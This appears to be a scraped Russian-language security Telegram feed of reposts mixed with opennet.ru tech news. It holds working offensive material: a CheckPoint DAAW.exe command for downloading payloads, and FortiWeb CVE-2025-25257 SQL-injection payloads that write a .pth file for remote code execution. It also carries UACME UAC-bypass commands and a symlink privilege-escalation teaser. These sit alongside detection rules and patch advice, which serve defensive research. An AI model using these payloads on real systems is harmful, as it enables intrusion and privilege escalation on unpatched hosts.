Forwarded from AlexRedSec
#mitre #matrix #appsec #application #ttp #mitigation
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from s0ld13r ch. (s0ld13r)
Немного Living off the Land в студию 😏
В ходе моего предыдущего небольшого ресерча и игр в консоли, наткнулся на интересный вектор доставки C2/нагрузок на хост через VPN клиент CheckPoint, при желании данный вектор можно зачейнить не попадаясь под внимание стандартных правил обнаружения и реализовать технику T1105 – Ingress Tool Transfer🙏
В стандартном пути VPN клиента есть бинарник DAAW.exe, позволяющий скачивать файлы по аналогии с wget, его же и можно использовать как легитимный загрузчик🎩
Powershell👩💻
Detect🛡
P.S Детект больше как псевдокод, лучше адаптировать под сами СЗИ
🧢 s0ld13r
В ходе моего предыдущего небольшого ресерча и игр в консоли, наткнулся на интересный вектор доставки C2/нагрузок на хост через VPN клиент CheckPoint, при желании данный вектор можно зачейнить не попадаясь под внимание стандартных правил обнаружения и реализовать технику T1105 – Ingress Tool Transfer
В стандартном пути VPN клиента есть бинарник DAAW.exe, позволяющий скачивать файлы по аналогии с wget, его же и можно использовать как легитимный загрузчик
Powershell
C:\Program Files (x86)\CheckPoint\Endpoint Connect\DAAW.exe downloadFile -url <URL> -fileName <PATH>
Detect
process.executable: "DAAW.exe" and process.command_line: "downloadFile"
P.S Детект больше как псевдокод, лучше адаптировать под сами СЗИ
Please open Telegram to view this post
VIEW IN TELEGRAM
www.opennet.ru
Создан вариант утилиты Lossless Scalings Frame Generation для Linux
Проектом lsfg-vk подготовлен неофициальный порт утилиты Lossless Scalings Frame Generation (LSFG) для платформы Linux, использующий DXVK и графический API Vulkan. Код проекта написан на языке C++ и размещён под лицензией MIT. Разработка выполнена сторонним…
🔗Ссылка:
https://opennet.ru/63545/
https://opennet.ru/63545/
Forwarded from PurpleBear (Vadim Shelest)
Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector
Опубликованы технические детали и эксплоит для уязвимости CVE-2025-25257 (оценка по CVSSv3=9.6) в компоненте экосистемы
По сути это классическая SQL-инъекция в функции
Далее не менее классический способ
Python supports a feature called site-specific configuration hooks. Its main purpose is to add custom paths to the module search path. To do this, a .pth file with an arbitrary name can be put in the .local/lib/pythonX.Y/site-packages/ folder in a user's home directory:
И обходом ограничения на
Таким образом, получаем прекрасный отчет от исследователей из
⚙️ POC: https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257
🪲 Уязвимые версии ПО:
✅ Рекомендации: Необходимо обновиться до последних актуальных версий
Опубликованы технические детали и эксплоит для уязвимости CVE-2025-25257 (оценка по CVSSv3=9.6) в компоненте экосистемы
Fortinet, именуемом FortiWeb Fabric Connector😜 Который обеспечивает автоматизированное взаимодействие между различными компонентами (FortiWeb WAF, FortiGate NGFW, FortiManager, FortiWhatever) согласно описанию продуктовой линейки Fortinet.По сути это классическая SQL-инъекция в функции
get_fabric_user_by_token, которая обеспечивает аутентификацию для различных интеграций с FortiWeb API. Эта функция передает контролируемый атакующим char *a1 инпут в заголовок Authorization: Bearer %128s на эти ручки:GET /api/fabric/device/status HTTP/1.1GET /api/v[0-9]/fabric/widget/[a-z]+
GET /api/v[0-9]/fabric/widget
Host: fortiweb_ip
Authorization: Bearer AAAAAA'or'1'='1Далее не менее классический способ
RCE в MySQL через INTO OUTFILE неожиданно запущенном от root🙈 А именно загрузка веб-шелла в cgi-bin веб-сервера Apache с хитрым трюком обхода ограничений запрета на перезапись исполняемых файлов через эту технику из исследования SonarSource:Python supports a feature called site-specific configuration hooks. Its main purpose is to add custom paths to the module search path. To do this, a .pth file with an arbitrary name can be put in the .local/lib/pythonX.Y/site-packages/ folder in a user's home directory:
'/**/or/**/1=1/**/UNION/**/SELECT/**/'import os;os.system(\\'ls\\')'/**/into/**/outfile/**/'/var/log/lib/python3.10/site-packages/trigger.pthИ обходом ограничения на
128-character limit в заголовке Authorization: Bearer'/**/UNION/**/SELECT/**/token/**/from/**/fabric_user.user_table/**/into/**/outfile/**/'../../lib/python3.10/site-packages/x.pth'
Таким образом, получаем прекрасный отчет от исследователей из
watchTowr с наглядным и понятным описанием технической эксплуатации уязвимостей с нотками тонкой иронии и интересным трюком, который можно взять на вооружение👍⚙️ POC: https://github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257
🪲 Уязвимые версии ПО:
FortiWeb 7.6.0 до 7.6.3, FortiWeb 7.4.0 до 7.4.7, FortiWeb 7.2.0 до 7.2.10, FortiWeb 7.0.0 до 7.0.10✅ Рекомендации: Необходимо обновиться до последних актуальных версий
watchTowr Labs
Pre-Auth SQL Injection to RCE - Fortinet FortiWeb Fabric Connector (CVE-2025-25257)
Welcome back to yet another day in this parallel universe of security.
This time, we’re looking at Fortinet’s FortiWeb Fabric Connector. “What is that?” we hear you say. That's a great question; no one knows.
For the uninitiated, or unjaded;
Fortinet’s…
This time, we’re looking at Fortinet’s FortiWeb Fabric Connector. “What is that?” we hear you say. That's a great question; no one knows.
For the uninitiated, or unjaded;
Fortinet’s…
Forwarded from s0ld13r ch. (s0ld13r)
FormSpark.io weapoinzed by cyber criminals 👾
В ходе исследований фишинга стал чаще натыкаться на данный сервис, который активно используется кластерами активности Phishing-as-a-Service и Initial Access Brokers для сбора паролей учетных записей💃
Письмо прилетает в формате HTML с мимикрией под сервисы Microsoft (Excel, Sharepoint, Word) с просьбой ввести учетные данные пользователя чтобы просмотреть файл🇿🇼
Пароли утекают не на сервисы Microsoft, а на условно-легитимный ресурс submit-form[.]com как собиралка кредов и редирект на другой веб сайт🎩
Ниже описал способ детекта на основе логов DNS
Detection rule🛡
🔗 Research: https://decoded.avast.io/threatresearch/avast-q3-2023-threat-report/
Happy hunting😎
🧢 s0ld13r
В ходе исследований фишинга стал чаще натыкаться на данный сервис, который активно используется кластерами активности Phishing-as-a-Service и Initial Access Brokers для сбора паролей учетных записей
Письмо прилетает в формате HTML с мимикрией под сервисы Microsoft (Excel, Sharepoint, Word) с просьбой ввести учетные данные пользователя чтобы просмотреть файл
Пароли утекают не на сервисы Microsoft, а на условно-легитимный ресурс submit-form[.]com как собиралка кредов и редирект на другой веб сайт
Ниже описал способ детекта на основе логов DNS
Detection rule
dns.question.name: "submit-form.com" and source.ip: * and not "8.8.8.8"
🔗 Research: https://decoded.avast.io/threatresearch/avast-q3-2023-threat-report/
Happy hunting
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Whitehat Lab
GitHub
GitHub - hfiref0x/UACME: Defeating Windows User Account Control
Defeating Windows User Account Control. Contribute to hfiref0x/UACME development by creating an account on GitHub.
Различные техники обхода
Defeating Windows User Account Control by abusing built-in Windows AutoElevate backdoor. This project demonstrates various UAC bypass techniques and serves as an educational resource for understanding Windows security mechanisms.
Использование:
akagi32.exe [Method_Number] [Optional_Command]
akagi64.exe [Method_Number] [Optional_Command]
akagi32.exe 23
akagi64.exe 61
akagi32.exe 23 c:\windows\system32\calc.exe
akagi64.exe 61 c:\windows\system32\charmap.exe
Собирать в
#windows #uac #redteam
Please open Telegram to view this post
VIEW IN TELEGRAM
www.opennet.ru
Подтверждены планы по слиянию Chrome OS и Android в одну платформу
Самир Самат (Sameer Samat), президент Google по развитию экосистемы, связанной с Android, в интервью изданию Techradar упомянул намерения объединить Chrome OS и Android в одну платформу. В ходе общения Самир заметил у журналиста MacBook и Apple Watch, и поинтересовался…
🔗Ссылка:
https://opennet.ru/63577/
https://opennet.ru/63577/
Forwarded from Похек
Ай! Не туда! Как злоупотреблять симлинками и повышать привилегии (LPE-шиться) в Windows
#windows #microsoft #symlink #LPE #privesc
Символические ссылки присутствуют в Windows практически с момента его появления. Однако лишь немногие курсы по анализу защищенности смогут раскрыть весь их потенциал и позволят нам получить заветный LPE.
Его статья подробно расскажет о символических ссылках, специфике работы с ними, а также наглядно покажет варианты их злоупотребления для получения LPE.
Что такое символическая ссылка?
Символическая ссылка позволяет указать от одного объекта на другой.
Буквально: симлинка example может указывать на файл 1.txt. И вы, обратившись к example, попадете в 1.txt.
🔗 В Windows есть разные виды символических ссылок. Рассмотрим их подробнее.
🌚 @poxek | 🌚 Блог | 📺 YT | 📺 RT | 📺 VK
#windows #microsoft #symlink #LPE #privesc
Привет всем! Автор статьи Михаил Жмайло, он пентестер в команде CICADA8.
Символические ссылки присутствуют в Windows практически с момента его появления. Однако лишь немногие курсы по анализу защищенности смогут раскрыть весь их потенциал и позволят нам получить заветный LPE.
Его статья подробно расскажет о символических ссылках, специфике работы с ними, а также наглядно покажет варианты их злоупотребления для получения LPE.
Что такое символическая ссылка?
Символическая ссылка позволяет указать от одного объекта на другой.
Буквально: симлинка example может указывать на файл 1.txt. И вы, обратившись к example, попадете в 1.txt.
Please open Telegram to view this post
VIEW IN TELEGRAM